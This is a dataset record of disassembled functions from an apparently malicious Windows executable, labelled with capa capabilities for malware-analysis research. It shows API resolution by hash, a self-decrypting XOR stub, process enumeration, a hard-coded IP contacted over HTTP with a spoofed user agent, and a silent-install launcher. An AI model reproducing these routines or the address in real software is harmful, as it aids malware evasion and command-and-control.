joyce8/EMBER2024-capa huggingface dataset:
Function at 0x402c3f
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x14
mov eax, dword [0x426040]
xor eax, ebp
mov dword [ebp - 0x10], eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
test eax, eax
je 0x402c9a
mov edi, eax
push str.CreateWebViewEnvironmentWithOptionsInternal
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x402d0c
mov ecx, eax
mov esi, dword [ebp + 0x1c]
mov bl, byte [ebp + 0xc]
call dword [0x41c21c]
movzx eax, bl
push esi
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push eax
call ecx
mov esi, eax
jmp 0x402d77
call dword [sym.imp.KERNEL32.dll_GetLastError]
movzx esi, ax
or esi, 0x80070000
test eax, eax
cmovle esi, eax
lea ebx, [ebp - 0x14]
mov dword [ebx], esi
xor eax, eax
dec eax
lea edi, [ebp - 0x20]
mov dword [edi], eax
mov dword [edi + 4], eax
mov dword [edi + 8], eax
mov ecx, edi
call fcn.00402100
push edi
push 1
push 4
push ebx
call fcn.00402bb0
add esp, 0x10
mov ebx, dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
push str.WebView2:_CoreWebView2Environment_failed_when_trying_to_LoadLibrary:_hr0x
call ebx
mov ecx, edi
call fcn.00402398
push eax
call ebx
push str._path
call ebx
push dword [ebp + 8]
call ebx
push 0x41cce6
call ebx
mov ecx, edi
call fcn.00402112
jmp 0x402d8e
call dword [sym.imp.KERNEL32.dll_GetLastError]
movzx esi, ax
or esi, 0x80070000
test eax, eax
cmovle esi, eax
lea eax, [ebp - 0x14]
mov dword [eax], esi
xor eax, eax
dec eax
lea ebx, [ebp - 0x20]
mov dword [ebx], eax
mov dword [ebx + 4], eax
mov dword [ebx + 8], eax
mov ecx, ebx
call fcn.00402100
push ebx
push 1
push 4
lea eax, [ebp - 0x14]
push eax
call fcn.00402bb0
add esp, 0x10
push str.WebView2:_CoreWebView2Environment_failed_when_trying_to_call_into_EmbeddedBrowserWebView.dll._hr0x
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
mov ecx, ebx
call fcn.00402398
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
mov eax, dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
push 0x41cce6
call eax
mov ecx, ebx
call fcn.00402112
push str.DllCanUnloadNow
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x402d8e
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.004077ab
mov eax, esi
add esp, 0x14
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x404475
Capabilities:
Check if file exists

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x21c
mov eax, dword [0x426040]
xor eax, esp
mov dword [esp + 0x218], eax
mov eax, dword [ebp + 8]
mov edx, 0x104
push ebx
push esi
push edi
push ecx
push ecx
xor edi, edi
mov dword [esp + 0x1c], eax
push ecx
lea ecx, [esp + 0x24]
mov dword [eax], edi
mov dword [eax + 4], edi
call fcn.0040309d
push 0x422a58
lea ecx, [esp + 0x1c]
call fcn.00403011
lea eax, [esp + 0x18]
push eax
push edi
push 0x1f0003
call dword [sym.imp.KERNEL32.dll_OpenSemaphoreW]
mov esi, eax
test esi, esi
jne 0x4044f3
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 2
je 0x40451b
push ecx
mov ecx, dword [ebp + 4]
mov edx, 0xc9
call fcn.004041b4
mov edi, eax
jmp 0x40451a
lea edx, [esp + 0x10]
mov dword [esp + 0x10], edi
mov ecx, esi
call fcn.0040434a
mov ebx, eax
test ebx, ebx
jns 0x404521
push ebx
push ecx
mov ecx, dword [ebp + 4]
mov edx, 0xcf
call fcn.0040416f
pop ecx
mov edi, ebx
pop ecx
test esi, esi
je 0x404535
jmp 0x40452f
mov ecx, dword [esp + 0x14]
mov eax, dword [esp + 0x10]
cdq
mov dword [ecx], eax
mov dword [ecx + 4], edx
push esi
call fcn.00404265
mov ecx, dword [esp + 0x224]
mov eax, edi
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.004077ab
mov esp, ebp
pop ebp
ret

Function at 0x404ae9
Capabilities:
Enumerate gui resources

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x24
mov eax, dword [0x426040]
xor eax, esp
mov dword [esp + 0x20], eax
mov eax, dword [ebp + 8]
and dword [esp + 0x18], 0
push ebx
push esi
push edi
mov dword [esp + 0x28], eax
mov ebx, ecx
mov ecx, dword [ebp + 0xc]
lea eax, [esp + 0x24]
push eax
push 0x404a82
mov dword [esp + 0x18], ecx
call dword [sym.imp.USER32.dll_EnumWindows]
test eax, eax
jne 0x404be9
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xffffffff
jne 0x404be9
mov edi, dword [esp + 0x24]
test edi, edi
je 0x404be9
mov esi, dword [ebx + 8]
lea ecx, [esp + 0x24]
push ecx
lea ecx, [esp + 0x1c]
mov dword [esp + 0x28], edi
push ecx
lea ecx, [ebx + 8]
call fcn.00405ea0
mov eax, dword [esp + 0x20]
cmp byte [eax + 0xd], 0
jne 0x404b74
cmp edi, dword [eax + 0x10]
jb 0x404b74
cmp eax, esi
jne 0x404be9
push 0x238
call fcn.004079b6
mov esi, eax
mov dword [esp + 0x28], esi
mov dword [esp], 0x238
push 0
push esi
call fcn.00408c50
mov ecx, dword [ebx + 0x10]
lea eax, [esi + 8]
add esp, 0xc
mov dword [esi], ecx
mov dword [esi + 0x208], edi
and dword [esi + 0x228], 0
mov dword [esi + 0x230], ebx
push dword [esp + 0x10]
mov byte [esi + 0x234], 1
push 0x100
push eax
call fcn.0040e9fb
push ecx
mov ecx, esi
call fcn.0040728b
lea eax, [esp + 0x10]
mov dword [esp + 0x10], edi
push eax
lea eax, [esp + 0x28]
mov dword [esp + 0x18], esi
push eax
lea ecx, [ebx + 8]
call fcn.00405dfc
mov ecx, dword [esp + 0x2c]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.004077ab
mov esp, ebp
pop ebp
ret 8
Function at 0x404bfd
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x458
mov eax, dword [0x426040]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, ecx
push ebx
push esi
push edi
lea ebx, [eax + 8]
mov dword [ebp - 0x454], eax
mov dword [ebp - 0x458], ebx
mov eax, dword [ebx]
mov esi, dword [eax]
mov dword [ebp - 0x450], esi
cmp esi, eax
je 0x404cac
push dword [esi + 0x10]
call dword [sym.imp.USER32.dll_IsWindow]
test eax, eax
je 0x404c5e
mov eax, dword [esi + 0x14]
cmp byte [eax + 0x234], 0
je 0x404c5e
lea ecx, [ebp - 0x450]
call fcn.004052c3
mov esi, dword [ebp - 0x450]
jmp 0x404ca8
mov edi, dword [esi + 0x14]
test edi, edi
je 0x404c79
mov ecx, edi
call fcn.00404e2f
push 0x238
push edi
call fcn.00407c37
pop ecx
pop ecx
lea ecx, [ebp - 0x450]
mov dword [ebp - 0x450], esi
call fcn.004052c3
push esi
mov ecx, ebx
call fcn.004057ea
push 0x18
push eax
call fcn.00407c37
mov esi, dword [ebp - 0x450]
pop ecx
pop ecx
mov dword [ebp - 0x450], esi
cmp esi, dword [ebx]
jne 0x404c32
push 0x228
xor esi, esi
mov dword [ebp - 0x44c], 0x22c
lea eax, [ebp - 0x448]
push esi
push eax
call fcn.00408c50
add esp, 0xc
push esi
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
mov dword [ebp - 0x450], edi
cmp edi, 0xffffffff
je 0x404c24
lea eax, [ebp - 0x44c]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x404e1b
mov ebx, dword [ebp - 0x454]
push 1
push esi
push esi
push esi
lea eax, [ebp - 0x220]
push eax
call dword [sym.imp.USER32.dll_PeekMessageW]
test eax, eax
je 0x404d33
lea eax, [ebp - 0x220]
push eax
call dword [sym.imp.USER32.dll_TranslateMessage]
lea eax, [ebp - 0x220]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageW]
mov esi, dword [ebx]
mov esi, dword [esi]
jmp 0x404d8a
push dword [esi + 0x10]
lea eax, [ebp - 0x428]
push eax
call fcn.0040a9e1
pop ecx
pop ecx
test eax, eax
je 0x404dfc
mov eax, dword [esi + 8]
cmp byte [eax + 0xd], 0
je 0x404d74
mov eax, dword [esi + 4]
jmp 0x404d6a
cmp esi, dword [eax + 8]
jne 0x404d70
mov esi, eax
mov eax, dword [eax + 4]
cmp byte [eax + 0xd], 0
je 0x404d60
mov esi, eax
jmp 0x404d8a
mov esi, eax
mov ecx, dword [esi]
cmp byte [ecx + 0xd], 0
jne 0x404d8a
mov eax, dword [ecx]
mov esi, ecx
mov ecx, eax
cmp byte [eax + 0xd], 0
je 0x404d7e
cmp byte [esi + 0xd], 0
je 0x404d39
xor esi, esi
mov edi, 0x426904
push dword [esi + edi]
lea eax, [ebp - 0x428]
push eax
call fcn.0040a9e1
pop ecx
pop ecx
test eax, eax
jne 0x404dee
push dword [esi + 0x426908]
lea eax, [ebp - 0x204]
mov edx, 0x9c714be2
push str.http:__116.203.46.133
push str._ls_ls
push 0x100
push eax
push 9
pop ecx
call fcn.00406494
call eax
add esp, 0x14
lea eax, [ebp - 0x204]
mov ecx, ebx
push eax
push dword [ebp - 0x444]
call fcn.00404ae9
add esi, 8
cmp esi, 0x20
jb 0x404d97
mov edi, dword [ebp - 0x450]
lea eax, [ebp - 0x44c]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
push 0
pop esi
test eax, eax
jne 0x404d03
mov ebx, dword [ebp - 0x458]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x404c24
Function at 0x40574c
Capabilities:
Print debug messages

Disassembly:
push ebp
mov ebp, esp
pop ebp
jmp fcn.00405b7b

Function at 0x406023
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x5a4d
push esi
cmp word [ecx], ax
jne 0x40609a
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x40609a
test eax, eax
je 0x40609a
movzx edx, word [eax + 4]
mov esi, 0x14c
cmp dx, si
jne 0x40606e
mov edx, dword [eax + 0x78]
test edx, edx
je 0x40609a
cmp dword [eax + 0x74], 0
jbe 0x40609a
mov esi, dword [ebp + 0xc]
test esi, esi
je 0x406069
mov eax, dword [eax + 0x7c]
mov dword [esi], eax
lea eax, [edx + ecx]
jmp 0x40609c
mov esi, 0x8664
cmp dx, si
jne 0x40609a
mov edx, dword [eax + 0x88]
test edx, edx
je 0x40609a
cmp dword [eax + 0x84], 0
jbe 0x40609a
mov esi, dword [ebp + 0xc]
test esi, esi
je 0x406069
mov eax, dword [eax + 0x8c]
jmp 0x406067
xor eax, eax
pop esi
pop ebp
ret

Function at 0x40609f
Capabilities:
Access peb ldr_data

Disassembly:
push esi
push edi
mov edi, dword fs:[0x30]
mov eax, dword [edi + 0xc]
add eax, 0x14
mov esi, dword [eax]
jmp 0x4060cd
push str.kernel32.dll
push dword [esi + 0x28]
call fcn.0040a9e1
pop ecx
pop ecx
test eax, eax
je 0x4060d6
mov eax, dword [edi + 0xc]
mov esi, dword [esi]
add eax, 0x14
cmp esi, eax
jne 0x4060b2
xor eax, eax
pop edi
pop esi
ret
mov eax, dword [esi + 0x10]
jmp 0x4060d3
Function at 0x4062d0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x120
mov eax, dword [0x426040]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push ecx
lea eax, [ebp - 0x114]
mov dword [ebp - 0x110], edx
push eax
push ecx
mov esi, ecx
call fcn.00406023
mov edi, eax
add esp, 0xc
mov dword [ebp - 0x11c], edi
test edi, edi
je 0x40647d
mov ecx, dword [edi + 0x20]
xor ebx, ebx
add ecx, esi
mov dword [ebp - 0x10c], ebx
mov eax, ebx
mov dword [ebp - 0x120], ecx
cmp dword [edi + 0x18], ebx
jbe 0x40647d
mov ecx, dword [ecx + eax*4]
mov edx, ebx
mov eax, dword [ebp - 0x10c]
add ecx, esi
cmp byte [ecx], dl
je 0x406358
mov al, byte [ecx]
imul edx, edx, 0xbd6623
movsx eax, al
xor edx, eax
inc ecx
mov al, byte [ecx]
test al, al
jne 0x406340
mov eax, dword [ebp - 0x10c]
cmp edx, dword [ebp - 0x110]
jne 0x406435
mov ecx, dword [ebp - 0x10c]
mov eax, dword [edi + 0x24]
lea eax, [eax + ecx*2]
movzx ecx, word [eax + esi]
mov eax, dword [edi + 0x1c]
lea eax, [eax + ecx*4]
mov ecx, dword [eax + esi]
add ecx, esi
cmp ecx, edi
jb 0x406479
mov eax, dword [ebp - 0x114]
add eax, edi
cmp ecx, eax
jae 0x406479
mov esi, ebx
cmp byte [ecx], bl
je 0x4063ca
lea eax, [ebp - 0x84]
mov edx, ecx
sub eax, ecx
mov dword [ebp - 0x118], eax
mov edi, eax
cmp esi, 0x7c
jae 0x4063c4
mov al, byte [edx]
mov byte [edx + edi], al
cmp byte [edx], 0x2e
je 0x4063c4
inc esi
inc edx
cmp byte [edx], bl
jne 0x4063af
mov edi, dword [ebp - 0x11c]
inc ecx
mov dword [ebp + esi - 0x83], 0x6c6c64
add ecx, esi
mov edx, ebx
cmp byte [ecx], dl
je 0x406402
lea esi, [ebp - 0x104]
sub esi, ecx
cmp edx, 0x7f
jae 0x4063f6
mov al, byte [ecx]
inc edx
mov byte [ecx + esi], al
inc ecx
cmp byte [ecx], bl
jne 0x4063e6
cmp edx, 0x80
jae 0x40648e
lea eax, [ebp - 0x84]
mov byte [ebp + edx - 0x104], bl
push eax
call dword [0x42877c]
mov esi, eax
test esi, esi
jne 0x40644c
lea eax, [ebp - 0x84]
push eax
call dword [0x428b88]
mov esi, eax
test esi, esi
jne 0x40644c
mov eax, dword [ebp - 0x10c]
inc eax
mov dword [ebp - 0x10c], eax
cmp eax, dword [edi + 0x18]
jae 0x40647d
mov ecx, dword [ebp - 0x120]
jmp 0x40632d
mov al, byte [ebp - 0x104]
test al, al
je 0x40646e
lea ecx, [ebp - 0x104]
imul ebx, ebx, 0xbd6623
movsx eax, al
xor ebx, eax
inc ecx
mov al, byte [ecx]
test al, al
jne 0x40645c
mov edx, ebx
mov ecx, esi
call fcn.004062d0
jmp 0x40647f
mov eax, ecx
jmp 0x40647f
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004077ab
leave
ret
call fcn.004078db
int3
Function at 0x406654
Capabilities:
Connect to http server
Create http request
Parse url
Send data
Send http request

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x154
mov eax, dword [0x426040]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x3c
xor ebx, ebx
lea eax, [ebp - 0x14c]
push ebx
push eax
mov esi, ecx
call fcn.00408c50
add esp, 0xc
push ebx
push ebx
push ebx
push ebx
push str.Mozilla_4.0__compatible__MSIE_7.0__Windows_NT_5.1__InfoPath.1_
call dword [sym.imp.WININET.dll_InternetOpenA]
mov edi, eax
mov dword [ebp - 0x154], edi
test edi, edi
je 0x4067e3
push dword [esi]
lea eax, [ebp - 0x108]
mov dword [ebp - 0x14c], 0x3c
mov dword [ebp - 0x138], 0x104
mov dword [ebp - 0x13c], eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, eax
push eax
mov dword [ebp - 0x11c], eax
call fcn.0040e9a1
pop ecx
mov dword [ebp - 0x120], eax
lea eax, [ebp - 0x14c]
push eax
push 0x80000000
push ebx
push dword [esi]
call dword [sym.imp.WININET.dll_InternetCrackUrlA]
mov ebx, dword [sym.imp.WININET.dll_InternetCloseHandle]
test eax, eax
je 0x4067d4
xor eax, eax
push eax
push 0x4400000
push 3
push eax
push eax
push dword [ebp - 0x134]
push dword [ebp - 0x13c]
push edi
call dword [sym.imp.WININET.dll_InternetConnectA]
mov dword [ebp - 0x150], eax
test eax, eax
je 0x4067d4
cmp dword [ebp - 0x140], 4
mov edx, 0x84c83100
mov ecx, 0x84480100
cmove ecx, edx
xor edx, edx
push edx
push ecx
push edx
push edx
push edx
push dword [ebp - 0x120]
push dword [esi + 4]
push eax
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov edi, eax
test edi, edi
je 0x4067c6
push 4
lea eax, [ebp - 0x110]
mov dword [ebp - 0x110], 0x4380
push eax
push 0x1f
push edi
call dword [sym.imp.WININET.dll_InternetSetOptionA]
mov eax, dword [esi + 0x20]
test eax, eax
je 0x4067b0
imul eax, eax, 0x3e8
push 4
mov dword [ebp - 0x10c], eax
lea eax, [ebp - 0x10c]
push eax
push 6
push edi
call dword [sym.imp.WININET.dll_InternetSetOptionA]
push 4
lea eax, [ebp - 0x10c]
push eax
push 5
push edi
call dword [sym.imp.WININET.dll_InternetSetOptionA]
push dword [esi + 0x14]
push dword [esi + 0x10]
push dword [esi + 0xc]
push dword [esi + 8]
push edi
call dword [sym.imp.WININET.dll_HttpSendRequestA]
push edi
call ebx
push dword [ebp - 0x150]
call ebx
mov edi, dword [ebp - 0x154]
push dword [ebp - 0x120]
call fcn.0040e986
pop ecx
push edi
call ebx
mov ecx, dword [ebp - 4]
xor al, al
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004077ab
leave
ret

Function at 0x406b38
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Terminate process

Disassembly:
push esi
push str.KG4234B71yNR84293torkc34
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov esi, eax
test esi, esi
je 0x406b6a
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x406b6a
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
pop esi
ret
Function at 0x406bdb
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [0x426040]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
lea eax, [ebp - 0x10]
push edi
push eax
push 1
xor ebx, ebx
mov dword [ebp - 0xc], 0x208
push ebx
push str.SOFTWAREMicrosoftEdgeUpdateClientsF3017226_FE2A_4295_8BDF_00C3A9A7E4C5
push 0x80000002
mov edi, ecx
call esi
test eax, eax
je 0x406c61
lea eax, [ebp - 0x10]
push eax
push 1
push ebx
push str.SOFTWAREMicrosoftEdgeUpdateClientsF3017226_FE2A_4295_8BDF_00C3A9A7E4C5
push 0x80000001
call esi
test eax, eax
je 0x406c61
lea eax, [ebp - 0x10]
push eax
push 0x101
push ebx
push str.SOFTWAREMicrosoftEdgeUpdateClientsF3017226_FE2A_4295_8BDF_00C3A9A7E4C5
push 0x80000002
call esi
test eax, eax
je 0x406c61
lea eax, [ebp - 0x10]
push eax
push 0x101
push ebx
push str.SOFTWAREMicrosoftEdgeUpdateClientsF3017226_FE2A_4295_8BDF_00C3A9A7E4C5
push 0x80000001
call esi
test eax, eax
jne 0x406c99
lea eax, [ebp - 0xc]
push eax
push edi
lea eax, [ebp - 8]
push eax
push ebx
push str.location
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x406c90
cmp dword [ebp - 8], 1
jne 0x406c90
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, 1
jmp 0x406c9b
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor al, al
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004077ab
leave
ret

Function at 0x406d4b
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x80
mov eax, dword [0x426040]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x40
lea eax, [ebp - 0x6c]
mov dword [ebp - 0x70], 0x44
push 0
push eax
mov ebx, ecx
call fcn.00408c50
add esp, 0xc
lea eax, [ebp - 0x80]
mov esi, str.__silent__install
lea edi, [ebp - 0x28]
push 9
pop ecx
push eax
lea eax, [ebp - 0x70]
push eax
xor eax, eax
push eax
push eax
push eax
push eax
push eax
push eax
lea eax, [ebp - 0x28]
push eax
rep movsd dword es:[edi], dword [esi]
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x406deb
push 0xffffffffffffffff
push dword [ebp - 0x80]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x406dd7
lea eax, [ebp - 0x2c]
push eax
push dword [ebp - 0x80]
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
xor ebx, ebx
test eax, eax
je 0x406dd9
xor ecx, ecx
movzx ebx, bl
inc ecx
cmp dword [ebp - 0x2c], 0
cmove ebx, ecx
jmp 0x406dd9
xor ebx, ebx
push dword [ebp - 0x80]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x7c]
call esi
jmp 0x406ded
xor ebx, ebx
mov ecx, dword [ebp - 4]
mov al, bl
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004077ab
leave
ret
Function at 0x40728b
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x23c
mov eax, dword [0x426040]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x30
xor ebx, ebx
lea eax, [ebp - 0x238]
push ebx
push eax
mov edi, ecx
call fcn.00408c50
add esp, 0xc
lea eax, [ebp - 0x238]
mov esi, str.Chrome_WidgetWin_Q12
push eax
push esi
push dword [edi]
call dword [sym.imp.USER32.dll_GetClassInfoExW]
test eax, eax
jne 0x407309
mov eax, dword [sym.imp.USER32.dll_DefWindowProcW]
mov dword [ebp - 0x230], eax
mov eax, dword [edi]
mov dword [ebp - 0x224], eax
lea eax, [ebp - 0x238]
push eax
mov dword [ebp - 0x238], 0x30
mov dword [ebp - 0x210], esi
call dword [sym.imp.USER32.dll_RegisterClassExW]
test ax, ax
je 0x40739d
push ebx
push ebx
push ebx
push dword [edi + 0x208]
mov eax, 0x80000000
push eax
push eax
push ebx
push ebx
push 0x90000000
push ebx
push esi
push ebx
call dword [sym.imp.USER32.dll_CreateWindowExW]
mov dword [edi + 4], eax
test eax, eax
je 0x40739d
push dword [edi + 0x208]
push eax
call dword [sym.imp.USER32.dll_SetParent]
push 0x100
lea eax, [ebp - 0x208]
push eax
push str.temp
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
test eax, eax
je 0x40739d
push 0x41cde0
push 0x10
call fcn.00407c68
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x40737e
mov ecx, esi
call fcn.00406f26
mov dword [esi + 0xc], edi
mov dword [esi], method.Microsoft::WRL::RuntimeClass_struct_Microsoft::WRL::RuntimeClassFlags_2___struct_ICoreWebView2CreateCoreWebView2EnvironmentCompletedHandler_.virtual_0
jmp 0x407380
mov esi, ebx
push esi
push ebx
lea eax, [ebp - 0x208]
push eax
push ebx
call fcn.00401313
test esi, esi
je 0x407399
mov eax, dword [esi]
push esi
call dword [eax + 8]
mov al, 1
jmp 0x40739f
xor al, al
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004077ab
leave
ret 0x10

Function at 0x408387
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x4083c6
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4083c6
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4083c6
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x4083c6
cmp dword [ecx + 0x74], 0xe
jbe 0x4083c6
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x412599
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x41f098
push 0x41f090
push str.FlsAlloc
push 0x1f
call fcn.004124b5
mov esi, eax
add esp, 0x10
test esi, esi
je 0x4125cd
push dword [ebp + 8]
mov ecx, esi
call dword [0x41c21c]
call esi
jmp 0x4125d3
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x412617
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x41f0a8
push 0x41f0a0
push str.FlsGetValue
push 0x21
call fcn.004124b5
mov esi, eax
add esp, 0x10
test esi, esi
je 0x41264e
push dword [ebp + 8]
mov ecx, esi
call dword [0x41c21c]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]
Function at 0x412656
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x41f0b0
push 0x41f0a8
push str.FlsSetValue
push 0x22
call fcn.004124b5
mov esi, eax
add esp, 0x10
test esi, esi
je 0x412690
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x41c21c]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x413e0c
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x413ea9
push ebx
push esi
call fcn.00413dd5
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.00413d69
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x413e56
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x413ea8
push edi
push eax
call fcn.00411185
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x413e76
call fcn.0041114b
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x413ea7
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.00413d69
add esp, 0x20
test eax, eax
jne 0x413e95
push edi
call fcn.0041114b
jmp 0x413e9d
push ebx
call fcn.0041114b
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret
Function at 0x41b3f0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x41b41d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x41b41d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx